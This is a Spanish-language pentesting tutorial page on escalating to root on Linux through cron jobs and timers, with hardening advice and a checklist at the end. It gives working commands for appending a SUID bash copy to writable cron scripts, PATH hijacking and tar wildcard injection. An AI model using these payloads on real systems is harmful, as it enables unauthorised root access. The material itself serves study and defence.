Saltearse al contenido

Cron jobs y timers

Cron ejecuta tareas programadas, muchas de ellas como root. Si una de esas tareas ejecuta un script o binario que tú puedes modificar, usa un PATH relativo, o maneja comodines de forma insegura, puedes inyectar tu código y conseguir ejecución como root cuando la tarea se dispare. Es un vector de privesc clásico y muy fiable porque las tareas de mantenimiento se escriben a menudo con prisa y permisos laxos.

/etc/crontab # cron del sistema (incluye el usuario que ejecuta)
/etc/cron.d/ # tareas adicionales del sistema
/etc/cron.{hourly,daily,weekly,monthly}/ # scripts por frecuencia
/var/spool/cron/crontabs/ # crontabs por usuario
crontab -l # del usuario actual
# systemd timers (alternativa moderna a cron)
systemctl list-timers --all
cat /etc/systemd/system/*.timer /etc/systemd/system/*.service

El problema: no siempre ves las tareas de root en los ficheros. pspy las revela observando procesos sin privilegios:

cat /etc/crontab ; ls -la /etc/cron.*
pspy64 # ver en vivo qué procesos/cron lanza root (sin ser root)

pspy es la herramienta clave: muestra comandos, PIDs y UIDs de las tareas que se ejecutan, incluidas las de root que no puedes leer directamente.

# si /etc/cron.d/backup ejecuta /opt/backup.sh y puedes escribir en backup.sh:
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/backup.sh
# espera a que cron lo ejecute -> /tmp/rootbash -p = root
ls -la /opt/backup.sh # ¿escribible por ti/tu grupo?
# si crontab tiene PATH=/home/user:/usr/bin y la tarea llama "backup" sin ruta:
# creas /home/user/backup malicioso -> root al ejecutarse
echo '#!/bin/bash\ncp /bin/bash /tmp/rb; chmod +s /tmp/rb' > ~/backup; chmod +x ~/backup

3. Wildcard injection (tar/rsync/chown/chmod)

Sección titulada «3. Wildcard injection (tar/rsync/chown/chmod)»

Si la tarea usa comodines (tar czf back.tar.gz *) en un directorio donde puedes crear ficheros, abusas de los flags que interpreta el comodín:

# en el directorio objetivo, creas ficheros cuyos nombres son flags de tar:
echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' > shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
# cuando root corra "tar ... *", ejecuta tu shell.sh

Si la tarea llama a un script que no existe pero en una ruta donde puedes crearlo, lo creas tú.

  • Rutas absolutas en las tareas y en los comandos que invocan; PATH seguro en crontab.
  • Scripts de cron propiedad de root y no escribibles por otros (chmod 700, dueño root).
  • Evitar comodines en comandos que corren como root sobre directorios escribibles; usar ./ o rutas explícitas.
  • Auditar /etc/cron.*, crontabs y timers; monitorizar cambios (auditd) en scripts de tareas.
  • Mínimo privilegio: que las tareas no corran como root si no es necesario.
  • Enumerar crontab, /etc/cron.*, cron.d y systemd timers
  • pspy para ver tareas/procesos de root en vivo
  • Scripts de cron escribibles por ti/tu grupo
  • PATH relativo en la tarea → PATH hijacking
  • Wildcard injection (tar/rsync/chown en dir escribible)
  • Scripts referenciados pero inexistentes en ruta escribible
  • Confirmar ejecución como root (shell SUID/cron shell)
  • Blue: ¿rutas absolutas, scripts no escribibles, sin wildcards?